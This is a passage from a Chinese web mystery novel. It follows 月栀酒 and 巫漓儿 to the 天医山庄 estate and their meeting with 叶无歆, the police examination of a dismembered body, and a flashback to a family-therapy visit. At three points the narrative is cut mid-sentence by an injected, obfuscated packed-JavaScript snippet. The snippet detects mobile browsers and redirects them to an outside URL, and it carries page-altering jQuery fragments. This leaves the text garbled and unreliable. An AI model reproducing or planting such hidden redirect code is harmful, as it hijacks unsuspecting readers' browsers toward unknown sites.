木沐灰溜溜乘坐电梯下楼，威妮娃也没有出房间的意思，现在客厅里就只剩月栀酒和巫漓儿两个人了。 “也没人给我倒个水，我都快渴死了……”月栀酒走到水机那边去，翻了两个柜子才找到纸杯。 “只能说月公子乐意体谅别人，宁愿委屈了自己，也不想打断别人说话。你可得赶紧喝点儿水，一会儿我们要去一个好地方。” 月栀酒干了一杯水，一语道破巫漓儿的心思：“看出来了，巫大小姐您呀也是不显山不露水的人，让我猜猜，还是山庄吧？” “笃定的事情就别说猜了，”巫漓儿从第一次见到月栀酒开始，就没有对他的一切非正常之处感到奇怪，“你不是想知道杀死舒久月的凶手是谁吗？我带你去找。” “您这是吊钩上挂鱼，坐岸上勾着玩儿呢？凶手又不在山庄，您带着我能去瞧见个什么热闹？”月栀酒把纸杯捏了扔进垃圾桶。 巫漓儿把口红也补好了，走到门口去换鞋，“没错，凶手是不在山庄里。但是如果你不想看见一棵果树结果，那么你等它长出来再去摘，是永远都摘不完的，而且当你看到果实的时候，那已经是结果了。” 月栀酒也走过去换鞋，左手扶墙，右手去拔休闲鞋的鞋跟，“哟呵，所以在您看来，阻止结果出现最好的办法是……” “斩树拔根。” 巫漓儿打开门往外走，月栀酒对「天医山庄」很感兴趣，所以没有推脱，也跟着她出去了。 月栀酒之前就注意到巫漓儿今天穿的是五分裙加恨天高的搭配，这个配置短程还行，开长途就有点要命了。 于是他在按电梯按钮前先问道：“穿高跟鞋开车不太方便吧？要不要我帮您拿双拖鞋？” “月公子家里还有女士拖鞋？” “那还真是有不起，所以只能委屈巫大小姐穿男士拖鞋了。” 巫漓儿看上去完全没有采纳这个意见的想法，伸手去按了电梯。 “这可真是太令我头疼了。我头发不长，麻烦事儿不少，偏生就是用不惯男人的东西……不过好在我有先见之明，事先在后备箱里扔了一双凉鞋，以防在此类情况下孤立无援的尴尬处境。” 电梯很快就到了。 “所以就只好驳了你的好意，月公子，请吧。” ………… 地下车库里，月栀酒去后备箱里帮巫漓儿拿了粉红色凉鞋去驾驶座，在她换鞋的时候才走去了副驾驶。 “巫大小姐好像很喜欢粉红色。”月栀酒帮她把换下来的鞋子放在副驾驶的地上，系上了安全带，调整着座椅位置说。 “不好看吗？”巫漓儿点燃了火，将跑车缓缓驶出车库。 “好看。” “所以啊，爱美之心人皆有之，我就是喜爱粉色，爱得天经地义、爱得理所当然。” 月栀酒把遮光板拉下来，上午火辣辣的日头穿过乌云后泄了气，又被遮光板切掉一半，在月栀酒脸上照出了一张温柔的阳光面纱。 “可是你家里粉色系的东西并不算多，偏偏一出门儿你就把自己打扮得像梦幻的童话故事里跳出来的一样，巫大小姐很希望别人认为你喜欢粉色吗？” “那在月公子看来，我这个情况属于什么心理学现象呢？” “我粗看下来，似是报复性反弹啊。” 巫漓儿余光扫过月栀酒，这次回归视线时，长长地叹了一口气，又把油门踩到了底。她在心里默默端起了欣慰和沉痛熬制了熟年的浓汤，光是闻那味道就忍不住连连皱眉。 “厉害，继续。” “按照惯常的思路，应该是有人从小就不让你穿粉色，所以你偏就要穿给那些嘴巴长来作孽的人瞧。但是您毕竟是巫大小姐，要是你的心思这般好猜，我也不可能到这了都还不知道您想要做什么。” “拍马屁的见多了，拍得这么不走心的还是头一回见。” 巫漓儿的车速仍然没有减慢分毫，月栀酒的心跳被弹得很快，但是这并不影响他清晰的逻辑顺序。 “相较之下，我还是更偏向于另外一种可能性——反其道而行之。你对粉色有一些不算太好的印象，但是你觉得如果你从此厌弃了粉色，那么就是着了那些人的道，所以你更加偏爱粉色了。” 月栀酒的分析从来都是一针见血的。 他从昨天第一次见到巫漓儿开始，好像就在无形间不知不觉地落于了下风口的被动席位，这在人与人的相处中缓步进入了危险片区，他自然要适当地把这艘偏离了航线的轮船略微拉回来一些。 月栀酒虽然喜欢扮猪吃虎，但是装傻和被同等重量级的人物看轻是两个不同的概念。 “你有没有听过一句话？月公子，淹死的都是会水的。” 巫漓儿一路都运气极佳，连过了三个路口都是绿灯，现在好不容易撞上了个红灯，她急刹的动作也是差点叫月栀酒飞出去。 “我也是有个年把没有下过水了，手脚生疏，淹死了也不奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357043|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “月公子这是虽死无悔的架势？” “我可有不起那高尚气节，悔还是要悔一下的，只不过我料定了巫大小姐对在下的小命不感兴趣，所以这才敢放着嘴巴多叨了两句。” “淹死的都是会水的，虽然这句话太过绝对，失了真切，但是这世界上淹死的确实有不少是会水的，被自己小聪明玩儿死的也有大多数是聪明人。常在河边走，哪有不湿鞋？月公子也不是那种自以为是到说‘我就是厉害到湿不了鞋’的主儿，还没有摸清楚别人底牌之前就忙着证明自己没有落败的举动与自杀无异，月公子还请惜命。” 上了高速，虽然没有了红绿灯的限制，但是巫漓儿也将车速压在限速下几码，没有再继续飙车了。 月栀酒可不喜欢在嘴巴上放过别人，难得巫漓儿减了速，月栀酒在就坡下驴之际也还是要再探听出点成果的。 “受教了，巫大小姐喜欢什么颜色关在下什么事？在下就全当您是五行缺火，所以要多多补点儿粉啊红啊的来平衡自身磁场。” 巫漓儿听得出来月栀酒还是不知收敛的口剑。既然月栀酒闲极无聊就想扒她的底牌，巫漓儿也不是很介意露个一招半式给他瞧瞧。 “我倒是不缺火，火是我的用神，这也是我喜欢粉红色系的其中一个理由。” “听您话听得亲切，八字喜用神？” 月栀酒对这个答案还是有三分意外的。 “怎么，月公子对我知道这点常识感到很惊讶吗？‘喜用神’又不是一个多么罕见的词儿，我知道也实属正常，没什么好稀奇的。” “这话偏了点儿航，虽然它不算太过稀奇，但至少也不是一个大众词儿吧……既然巫大小姐提起了这茬，那是不是说明整件事情基本上和我想的一样？「天医山庄」的‘天医’其实是取自……” 巫漓儿接过答案，同时验证了月栀酒的预想。她慢悠悠地念出四个字：“八宅风水。” …… 巫漓儿的车技不算顶尖，但总是忍不住想要飙车。 一路上他们只在一个加油站停过。 月栀酒搭了一路的顺风车，尽管意识到了巫漓儿举止上的疲惫，但是他几乎没开过车，也不好开口说要帮人家分担。于是他抢先支付了油费，还趁着巫漓儿去上厕所的时候买了些零食饮料，免得路上没话说的时候尴尬。 巫漓儿回到车上后也没有表示感谢，从月栀酒放在双腿上的塑料袋里拿出来一瓶放在最上面的苏打水。 “路上这么长时间月公子闲呆着也是无聊，不如你来猜猜咱们今天中午能吃到哪国的大餐？” 月栀酒把便利店买来的零食饮料放在脚边，拧开了一瓶矿泉水说：“现在眼瞧着都要12点了，我还是更关心咱们能不能赶上您说的那顿大餐。” “放心，就算吃不上大餐，我也决计不会怠慢了月公子。” “有巫大小姐的保证，我也就不消再瞎担心这张嘴巴的问题了。瞧您也是极关心我的，生怕我无聊地睡了过去，还给我出了个谜面磨脑子，那我就斗胆来猜猜……意大利菜吧。” 26.奇门凶杀案 「天医山庄」的占地面积有41平方公里，在看到庄园之后，巫漓儿开着车绕了半个多小时才进了大门。 “刚刚不是过了一个门儿，您吖怎么绕开了？”月栀酒把车窗按下来，转头去看一望无际的山庄。 “……到了，下车吧。” 巫漓儿进了大门之后就慢慢停稳了车，月栀酒把高跟鞋递过去，巫漓儿换完了鞋，一旁的侍者连忙走过来帮她开车去停。 她抬手遮住阳光，拽着月栀酒的衣角往阴凉的地方钻，“那边是商业区，不通往我们要去的地方。” “哟呵，这儿还有商业区呢？” 月栀酒灵魂发问，然而巫漓儿只是白了他一眼。 “不然这41平方公里的山庄就几个人住着，你觉得好玩儿呀？” “也是，做成森林公园更划算，这个规模可以直接包揽西南片区的大部分富豪。” “保守了，全国有头有脸的商界和政界名人几乎都来这里留过名字，但是因为这里需要门槛和提前预约，所以没有这么容易来。” 他们说话时，一个带着对讲机、盘着头发的服务生小跑着过来，一见到巫漓儿就笑着问好。 “巫小姐，您这么快就回来了……这次是回来休假，还是来找人？” 巫漓儿似乎跟这个服务生很熟，应该每次来都是由她来接待的。 “我找无歆，她在哪？” “在室外射箭场，叶小姐说今天会有不速之客，让我们延缓了午饭时间。” “我记得她平常也差不多是这个点吃的呀。” “以往12点半已经上好餐了……您去找叶小姐的话，需不需要我派一辆观光车送你们过去？” “射箭场远吗？我记得应该没有太远。” “是的，从左前方这条岔路走下去，大概300米左右可以看到一个草坪，就在那里了。” “嗯，你去忙吧，不用管我了。” “您有需要的话可以打电话叫我，或者用「天医山庄」APP或者小程序获取相应服务。” “知道了。” 巫漓儿从包包里翻出墨镜戴上，走出了树荫。 月栀酒跟在她的侧后方，默默下载了「天医山庄」的APP。 “IT的玩意儿是挺高级的，但是你暂时用不着这东西，要什么服务我帮你叫唤就行。”巫漓儿把月栀酒拽到她的并排的站位，“月公子，咱俩唠唠？” “成啊。” “你父母是做什么工作的？” “我妈中俄混血，是一个跨国财团的唯一继承人。” “听着不错，月公子也真是家世显赫的公子哥儿呢。” “您过奖了。我母亲她不是很喜欢做生意，没有选择继承家产。她喜欢搞科研，研究生学的好像是电子工程，工作可能也是这个方向的吧。” “你都不知道你的母亲大人是做什么工作的？” “不清楚，我小时候在京城拢共没见过她几次，后来问的人也都说不知道。” “令尊大人呢？” “其实也都差不多。我爷爷为原子弹的成功爆炸做出了不少贡献，我老爹是官二代，他打小就喜欢生物化学，出国留学的时候碰巧认识了我妈，据说前几年在搞什么研究项目，具体的我就不知道了。” 射箭场挺大一个，他们很快就到了靶子的那一边。 经过精细保养的草坪绿油油的，50米线开外的地方只站了三个女人，一个姑娘手拿弓箭蓄势待发；一个姑娘给射箭姑娘递箭；另一个中年女人站在旁边静静看着。 一发。 七环。 “好技术！”月栀酒称赞道，“这小老师手法好硬，换我都瞧不见靶子。” 巫漓儿看着箭靶上大量的四五六环，凑了一下墨镜，问月栀酒：“视力问题？” “可不，我从小就钟爱各种电子产品，眼睛就遭了罪，100多度散光，能看出好几个靶子叠在一块儿晃悠。” “那你还真不适合射箭，我连客套邀请的话也可以免了……场边呆着吧，眼睛留意着点箭，当心别死这儿了没人给你收尸。” 巫漓儿抬手拦了一下月栀酒，连眼睛都没有眨地走进射箭范围，闲庭信步地挨个从靶子后面走过。 （↑↑↑危险动作，请勿模仿！） 月栀酒本来伸手要去拦她，但是想了想又收住了。 只见巫漓儿站在射箭姑娘瞄准的靶子后面，偏出一颗头来，巧笑嫣然地望着射箭姑娘。 月栀酒往那姑娘的方向又走近了几步。 射箭姑娘穿着禅风衣裤，头发用和白月一样的发夹盘起，她脸上的表情晃也没晃过一丁点情绪杂质，手脚利落地拉弯了弓，拿捏弓箭的手可能是不算极稳，有微微的颤幅，但月栀酒也看不真切。 咻—— 箭风划过。 命中六环。 射箭姑娘可能是有意让着巫漓儿，靶子上中箭的位置与巫漓儿偏出头来的方向相反。 巫漓儿转到箭靶正面，拔下来刚刚的那一发箭，左右转着看了看，一边往对面走着，一边扬起了声音对射箭姑娘说：“今天看起来挺在状态呀，是神医的治疗见效了，还是你看见我提前回来精神舒畅了？” 射箭姑娘把弓箭递给旁边的姑娘，捋了捋耳边的碎发，走过去说：“你一见面就找死，看得我那叫一个心思郁结，宁神医这几个月的调料全都升华成仙了……你怎么还是要带着墨镜才敢见他？” “还说呢，这不都是拜你所赐吗？” “也不知道当初是谁把他塞到我这儿来的。” “这次还算好的了，后面跟你细说……在别的地方都还好，单单到你这里我控不了场，只好先做一手准备。” “明白了……话说你们这次过来是因为临时兴致起了，还是因为舒久月的那起案子？” “他和舒久月的事情都有，我也不敢请奇人出山，就只好入山请你指点迷津了。” 巫漓儿冲月栀酒招手叫他过去。 射箭姑娘个子不高，月栀酒走近了，她就只能仰着头跟他说话。 “小少爷可认识我？” 月栀酒脑子里闪过几道白光，白光中隐隐约约显现了这个姑娘正在聊天品茶时的身影。 “是在下孤陋寡闻了，敢问姑娘您尊姓大名？” “叶无歆。” “月栀酒。” 巫漓儿把高跟鞋的细跟跺进草地的泥土里，又很无聊地拔出来。她拿手遮了阳光，打断道：“今天日头好，可惜是我们是活人，不需要光合作用。我刚刚才开了两个小时的车，你们不饿，我可饿了，什么时候开饭啊？” 叶无歆点头笑笑，对旁边站着的中年女人说：“五姨，可以先去准备着了，多洗点儿葡萄，这位大小姐爱吃。” 五姨说好，离开了射箭场。 叶无歆眼睛瞟过巫漓儿的衣着，对刚刚给她递箭的姑娘吩咐道：“霜霜，帮她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376152|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备一套方便运动的衣服鞋子。” 巫漓儿扭着脚踝看了一圈自己的高跟鞋，恋恋不舍地念着：“我挺喜欢这身衣服和鞋子的，你不觉得这样的搭配很好看吗？” 叶无歆没有说话，往射箭场外走去。 巫漓儿压着声音问月栀酒：“怎么样，看着有眼缘吗？” “巫大小姐打算改行牵红线了？” “别白日做梦了好吗？喜欢无歆的人多了去了，就算你有那个意思，人家也看不上你。” 月栀酒眼眸拉深了几米，眉心未曾皱起，却隐隐露出了疑惑，“是眼熟。” “见过？” “不记得了……她是什么名人吗？” “是有点名，但是你不可能在电视、手机上见过她……再想想吧。” ………… 他们进入了一个颇有园林雅致风格的院子，院子里坐落着一栋简约大气的四层别墅。 餐厅在一楼，在这里用餐的就只有三个人。 叶无歆坐在方桌的短边，月栀酒和巫漓儿面对面坐在她的两边。 每个人面前都摆着一块牛排、一份意大利面和一小碗黑松露浓汤。他们正中有一盘蔬果沙拉，巫漓儿左手无人的那边还摆放着整整一大盆洗好的阳光玫瑰。 霜霜给他们发热毛巾擦手，巫漓儿只是随便擦了几下就抓起一颗阳光玫瑰咬了一半，“今天这个甜，你还真是清楚我喜欢吃什么。” 叶无歆拿起刀叉切牛排，并不顺着她的话往下接，而是转了头看向月栀酒。 “你们的来意我都清楚了。小少爷一是想找近期那三起杀人案件的真凶，二是觉得你身边发生了很多非正常的事情，想要探求个谜底，对是不对？” “没错。” 月栀酒只跟叶无歆说过两句话，可她却连自己的来意都明白得一清二楚。月栀酒这次倒是没有觉得诧异，只是觉得熟悉的感觉越来越强烈，但记忆却像是被封印进了潘多拉的魔盒里，无论如何也游不出来。 “这两点都容易，下午你们去找一个有意思的商人，晚上回山庄来住一宿，杀害前两个受害者的凶手就会露出水面了。” “这个商人是谁？” “厄运商人呗。”巫漓儿用叉子叉起一块牛排，又放了回去，“他那小店就在山庄附近，我跟他熟得很，一会儿带你去。不过听说便宜的旅游团都是这样的，走完景点就把你拉进商店消费，月公子记得带好钱包。” “看来是逃不掉了……在下近期手头上的闲钱不多，巫大小姐的旅游团估计从我这儿赚不到多少。”月栀酒也拿起了一颗阳光玫瑰，并不着急吃，而是拿在手上看，“不过这么听下来，我怎么闻到了一股鸿门宴的味道呢？” “那是因为月公子长了个狗鼻子，要是你现在想打道回府的话，我也是万万不会阻拦的，只不过你想知道的所有事情嘛，就……” 巫漓儿只是稍稍引诱了一下，本就跃跃欲试的月栀酒就直接跳进了那个百米大坑。 “我知道巫大小姐一心都是为了在下着想，那肯定是您说什么，在下就老老实实照做什么，半点异议不敢有的。” “如果月公子真的能明白我的心意，那就是再好不过的了。” 月栀酒和巫漓儿拌嘴的时候，叶无歆就像看不见一样自顾自吃饭……也恰好就是这个时候，月栀酒注意到了叶无歆左手小拇指上戴着一个几乎没有什么花纹的银色戒指——正好就是高琴他们今天早上发现的那枚。 27.奇门凶杀案 霜霜帮月栀酒收出来一间客房，巫漓儿硬是要让他去睡个午觉。 …… 巫漓儿把叶无歆推进最近的书房，在里面锁上了门。 叶无歆被她推得差点没站住，扶了扶柜子说：“欸，你慢点儿，我身体不好……” 巫漓儿来不及在乎这些，只是一下抱住叶无歆的双臂，右手滑下去捏住她的左手，语气有些焦急。 “你知道我来是为了什么，真的吓死我了，亲眼看到你，我这心才好不容易安下来一些……我才不关心月栀酒什么时候想起来的那些破事儿，你快点告诉我，今天发现的第三具尸体是怎么回事？你说这枚戒指是德国著名设计师帮你设计的，还有多处防伪标记，世上仅此一枚。我看过了，那枚是真货，那么你手上这枚……” “也是真的。” “这怎么可能？无歆，到底是怎么回事？” 叶无歆反握住她的手，“这不是刚好吗？你们都有想知道的事情，不如就一起回去，带他去十四那里，顺便帮我看看小乙的近况。” “你明明什么都知道，为什么不肯告诉我呢？” “你不也是什么都知道，可也没有告诉小酒呀……好了，我不说的原因和你很像，你亲自去看看就知道了。” 叶无歆说着就要往外走。 巫漓儿叫住了她，“无歆你不公平！就算我不说，你也都可以看到，可是我不行！” “公平？”叶无歆驻足，右手搭在门把手上，没有回头，“你经历了那样的事情，居然还能说得出‘公平’这种词，这就像无恶不作的人谈正义一样，真是有意思得很。” “无歆！” 叶无歆顿了一下，她知道巫漓儿没有生她的气，但还是立刻意识到自己的残暴，敛起一切神情说：“对不起。” 巫漓儿慢慢放柔语气，“我真的不想打扰你，但是我之前给你打电话你都没有理我，我真的很害怕……” “就是因为你看不见，我才给了你一条直径通往真相的路。”叶无歆压开门把手走出去，最后一句话的声音荡漾过来，“那条路很残酷，但却是你无论如何也绕不开的真相之地……无论去还是不去，选择权在你。” 巫漓儿没有追上去，只是一个人留在书房里生闷气。 叶无歆的房间在楼上，她走到楼梯前就看到了正往楼下走的月栀酒。 月栀酒迎面就问她：“叶老师，您知道巫大小姐上哪儿去了吗？” “她让你睡午觉。”叶无歆继续往楼上走去，脚步很轻。 “那是她刚刚的想法，现在可就说不准了。”月栀酒手肘靠着栏杆，动作上没有去拦的意思，但是话却没停，“她来这里也是为了理清头绪的吧？您没告儿她？” 叶无歆继续走，透过栏杆，眼瞧着就要走到她位于二楼的房门前了。 “您八成是让她自个儿找答案，结果惹她恼上了？”月栀酒又问。 这次叶无歆总算是理他了，双手杵在栏杆上，食指指向书房的方向，“在那呢。” “谢您。” 月栀酒说完，再次抬眼便看到了叶无歆在以某种频率敲击二楼的栏杆。 他瞬间明白过来，笑着伸出了三根手指，不过片刻又收回一根，只剩两根，又跟着叶无歆敲击的频率收回一根。 三； 二； 一。 书房的门被打开，巫漓儿一出来就看到了盯着她看的两人，无奈地翻了一大个白眼。 月栀酒看向叶无歆，心里盘桓着这姑娘究竟是何人，为什么她年纪轻轻的笑颜下会给人一种叫人胆怯的威慑？ 巫漓儿装模作样地回头看了看，对他们两个说：“我寻思着，这里也没有什么奇珍异宝呀……噢，我知道了，敢情你们是在这里看热闹呢？” “看热闹总好过看笑话，能看到大姐姐你的热闹，也不枉我饿着肚子把午饭延成了下午茶。”叶无歆右手转着左手小拇指上的纯银戒指，微笑着说，“你们精力好，都不稀罕午觉这点时间，我可要回屋休息会儿了，二位请便吧。” 巫漓儿笑了一声，走到别墅的大门前。 月栀酒跟过去问：“这姑娘谁呀？吓得我寒毛都竖起来了。” “瞧给你胆小的，她不都自我介绍过了吗，叶无歆呗。” “您又搁这儿跟我打哑迷呢。” “嘘——”巫漓儿把食指竖在唇前，眺着叶无歆的方向说：“她耳朵灵着呢。” “开玩笑了，猫耳朵也灵不成这样。” “只可惜无歆不是猫，她只是和你一样，遍地的耳朵……时间也不早了，趁天黑之前走一遭吧，说不定你明天就能告诉高琴凶手是谁了。” —————— “舒久月的猫丢了？她还有猫呢？是昨天张小元拎回来的那只吗？黄色的？” 高琴全副武装地站在法医鉴定中心的角落里，他这几天忙的跟个螺旋桨一样，一时没反应过来李晓音给他汇报了个什么东西。 “是橘猫，橘猫啦，高队。当时孔小艺就是因为在楼下看到了带血的橘猫才领人上去破门的。”李晓音帮高琴回忆经过。身为助手，她骄傲于自己绝佳的记忆力。 “橘猫不是最便宜的吗？舒久月这种名人不是应该养点波斯猫、蓝眼猫什么的吗？” “不是买的，是舒久月当时在片场捡的。” “昂，所以你说那只猫没了？” “对啊。” “你们给它放哪了？会不会是没关好，给它钻了个缝溜了？” “张小元给它关笼子里的，今天早上去看的时候还锁着呢，那猫自己溜不掉。” “那是局里的谁看着好玩拿去逗了吧，搞不好一个没抓住给跑了也是正常的……这猫也不是很重要啊，在门口摆点猫粮，说不定过两天就自己回来了。” 李晓音摆了摆手，把口罩捏得更契合了些，加重语气说：“这不是重点！” “那你倒是直接说重点呀。” 在高琴给月栀酒清晨打完电话的这大半天里，各个派出所的警察发现了很多尸块，这些碎尸块被切得七零八碎的，勉强才能拼凑出来半具尸体。 法医周六这下子可就遭了殃，接连遭受失恋、摔下楼梯、脑震荡的折磨，现在大批法医还在飞机上没回来，周六还得在脑袋上包着纱布拼尸体。 “重点是我查了监控……” “猫丢了这种小事你在局里吼两嗓子不就问清楚了，至于跑去查监控吗？” “吼了，没人搭理我呀，大家都说没碰那猫。” “所以监控咋了？” “监控闪没了。” “什么玩意儿？我没怎么听懂，你翻译一下。” “就是昨天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385468|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上两点钟左右，监控上的猫‘咻’的一下就消失了。” 高琴听到这种灵异事件，还以为是自己连续几天睡眠不足给听岔了，险些一个踉跄没站稳。 “真的假的？你确定不是你眼花了？” “真的，我看了好几次呢，双眼都是5.0的视力，花不了……猫，‘咻’的一下，没了！监控内容还在那呢，您一会可以去看看呀，错不了。” “诶等等，我想起来了，关猫的地方是在门外边吧，那地方的监控有声音吗？还‘咻’的一下。” “不是，‘咻’这声是我配的，生动形象一点嘛。” 高琴叹了口气，看着周法医和助手在费劲巴力的拼尸体，又突然凌乱了，“等会儿，让我理理……舒久月收养的猫莫名其妙没了，为啥呢？一只猫没了对谁有好处？就假设这次的监控内容和舒久月门口的监控一样没替换了吧，谁这么想不开，非要偷一只不会说话的猫？” 他的疑问让李晓音脑洞大开，“你说有没有这样一种可能，如果这只猫它就是会说话呢？新闻上不是说有很多人可以把宠物训练到会写字啥的吗？舒久月被杀的时候，这只猫大概率也在，如果我们用这只猫指认凶手，凶手很有可能就会暴露。你说有没有可能凶手就是怕这个，所以才把猫偷走的？” 高琴瘪着嘴，听着觉得很离谱。 “晓音。” “怎么了？” “你这个脑子不适合当刑警，更适合写小说。” “没问题吧高队，我这个推理挺合理的呀。” 周六放下镊子，冲角落处的他们喊道：“角落里面那两位，你们别唠了，过来，赶紧的！我急着下班，跟你们说完了，我还要去医院复诊呢。我这可是带伤工作，小心我一会儿倒地不起了，你们别说我碰瓷啊。” “来了来了。”李晓音回应道：“周法医辛苦，一会儿其他法医下飞机来接了班，您就可以回家休息了。” “这话说的跟没说一样，有人替班我还不休息，难不成陪你们在这熬到天亮？行了，我给你们讲讲关于尸体的检验结果。” 周六指了尸体的几个部位，一步步分析给高琴和李晓音听。 “尸体的头部到现在都还没有找到，但是通过盆骨可以确定这是一名20岁左右的女孩。由尸体的腐烂程度可以推测出，死者的死亡时间时间接近72小时……你们过来看，这具尸体的表面有多处刀伤，虽然下手不轻，但也都不致命，看疤痕的状态，受伤应该有三四个月了。” 高琴悬指着尸体大腿上的一条缝过针疤痕，“这样的伤口，看起来像是在泄愤？” “确实有点像，但是受伤的时间太长了，我没有办法断定。”周六手指的位置在女孩的小腹，“喏，还有这里，有一个的孩子，大概三个月大。” 高琴咂着嘴感叹：“一尸两命啊。” “可不是嘛。” 周六也是有点头疼，她带病加班了好几个小时，眼下已经有点两眼昏花了。 “她的死因确定了吗？” “不好说，死者的体内有很多种不常见药物的残留，心脏有一部分已经坏死，死因可能是急性心肌梗死，但因为尸体大面积残缺，这点也无法百分百断定。” 高琴非常理解周六的头疼，因为他现在也像是从楼梯上往下滚一样，既刹不住车，也止不住疼。 28.奇门凶杀案 —————— “您确定这旮旯有一位神秘商人？”月栀酒看着窗外越来越稀疏的人烟，不可置信地问巫漓儿。 “月公子意见很大？” “巫大小姐，硬要说起来，在下也勉强能算是一个手上沾过铜臭味的生意人……谁会在这种鸟不拉屎的地方做生意啊？” 巫漓儿瞅都没瞅他一眼，直接呛了回去，“就是有人喜欢啊，人家乐意，你管得着吗？” 月栀酒扭开矿泉水喝了一口，“嘿……也有道理。” 可能也是觉得自己把话掐死太不给月栀酒面子，巫漓儿转移了话题又问：“听说你在发现尸体前的几个小时当了别人的心灵良医，月公子你可不像是会经常早起的人，是不是看中了那户人家住在舒久月的隔壁呀？” “也不能说完全没有这一层……是这样的，有一个家长不知道打哪儿听来了我的名号，不惜出高价请我去处理她们的母女关系，可见是相当迫切了。我寻思着反正也没有什么要紧事儿，就捎带手答应了。但是这家长未免也太迫切了一点，好好一个端午节，非要让我早上七点钟去报道，给我困了一天。” 月栀酒说完，还恰到好处地打了个哈欠，以示他这两天都没有睡足觉，到现在都很困。 “听着倒是个有意思的活计。” “有意思算不上，只是一个常规闹心的家庭矛盾而已。” “话都说到这个份儿上了，月公子不打算拆开来讲讲？” “细节不说了，不过大概讲讲倒也成。” ………… 那天早上，月栀酒天不亮就打电话把司机拽起来送他过去，司机抱怨说这十几年来就从未见过月栀酒什么时候起的这么早过。 月栀酒来到案主的单元楼时才发现，原来这个案主就住在舒久月的隔壁。 他心想，这层楼莫不是风水磁场搭错了线？为什么住在这里的人都有心理问题，还都能找到他？ 他本来想先去看看舒久月的情况，但是谁料委托他的这位母亲直接就站在门口逮他，相当的尽职尽责。他没办法，也就只好右转变左转，优先进了案主的家。 案主说她的女儿叫丁柠，丁柠的父亲是企业高管，有钱，但不常着家，还有出轨之嫌。 她的母亲本来有工作，职位还不低，全力做项目的话，年薪能有七位数，但是自打去年丁柠上了高中之后，她母亲就辞职做了全职太太，一心只为女儿着想。 “丁太太端午节也起这么早啊？”月栀酒客套说：“怎么不多睡会儿？” “哎哟，月老师你别说了，要不是为了小柠，谁还不想睡个懒觉呀？今天已经放着她睡了，平常都是要五点钟起来学习的，我这个不用考试的家长也得天天支楞起精神起来给她做早饭，当老妈子伺候她，结果这孩子还天天板着个脸。我又没有要求她给我考全班第一，我就是想着她考上了好大学就最起码能养活自己了，我也可以放心去赚钱。结果你看她这个样子，我怎么可能放心去搞自己的事业嘛……” 丁太太的话就像坏掉的水龙头，水珠子滴滴答答掉个没完。 剩下的话月栀酒没注意听，不过到这里，他大概也知道丁家母女关系闹僵的原因之一了。 孩子因为高考压力大，沟通无效，全压在心里。母亲则懊恼孩子不愿意跟自己沟通，一味的付出，全心全意为了孩子好，可从来不问孩子想要什么。 丁太太邀请月栀酒进去说话。 还没等屁股挨着凳子，丁太太就又说起来：“月老师，你可得给她好好看看，这孩子到底是哪里有问题啊？她现在已经高二了，正是关键时候，要是现在掉了队，高三就彻底跟不上了。不久前，她在玩那种什么小摆件，整了一排放在桌子上，花里胡哨的，她以为好看呐？我就跟她说钱是这么乱花的吗？我们给她钱，是让她买题来刷的，再不济，你买点咖啡来喝，免得上课走神也是可以的，对吧？可是她呢，非说什么这东西又不贵，她也应该有点课余爱好。我说不是贵不贵的问题，课余爱好可以有，但是她可以出去打打球啊什么的，那钱就花得不冤枉，对眼睛的健康也有好处，但她就一个劲儿捣鼓她那些小玩意儿，这些东西免费送我都不要，她还要花钱去买……” 虽然月栀酒不是第一次遇到这种唐僧转世的家长，但是他的心理治疗是按时间计费的，结束了之后他还要去问问舒久月的情况，于是打断了这位焦头烂额的母亲。 “丁太太，没瞧见孩子呀，她在吗？” “在她那屋呢，整天关着门也不知道在干什么见不得人的事，防我跟防贼似的，我们的房间就从来不关门，见得光，她什么时候想进去都没问题的。” “丁太太，咱们今天是处理孩子的事儿是吧？” “对呀，那不然也不能是处理我的事啊，我心理又没有问题。” 丁太太说得理直气壮。 “……嗯，看得出来。” 月栀酒嘴上不说，情绪的传染性是从古至今都无法撼动的铁律，如果一个人被判定为“患病”，那么跟她同住了十几年的另一个人极大概率也无法被判定为“健康”。 “既然咱是处理孩子的事儿，那您让她出来，或者我进去也行。我得跟孩子聊聊，才能进行治疗不是？” “哦，她在屋里写作业呢，我让她赶紧写完作业好复习。要知道，端午这么好的机会弯道超车，她可不能浪费，不然高考的时候差一分，成千上万的人可就踩着她的脑袋过去了。” “那我……” 丁太太看了眼墙上的挂钟，抬高了音量，似乎是故意说给房间里的丁柠听：“马上，她做完那套卷子就出来了，我给她记着时间呢，还有二十分钟。” “那行，我就从跟孩子交流开始计时。”月栀酒拿出了计时器，“您有跟孩子商量过吧？关于看心理医生的事儿。” 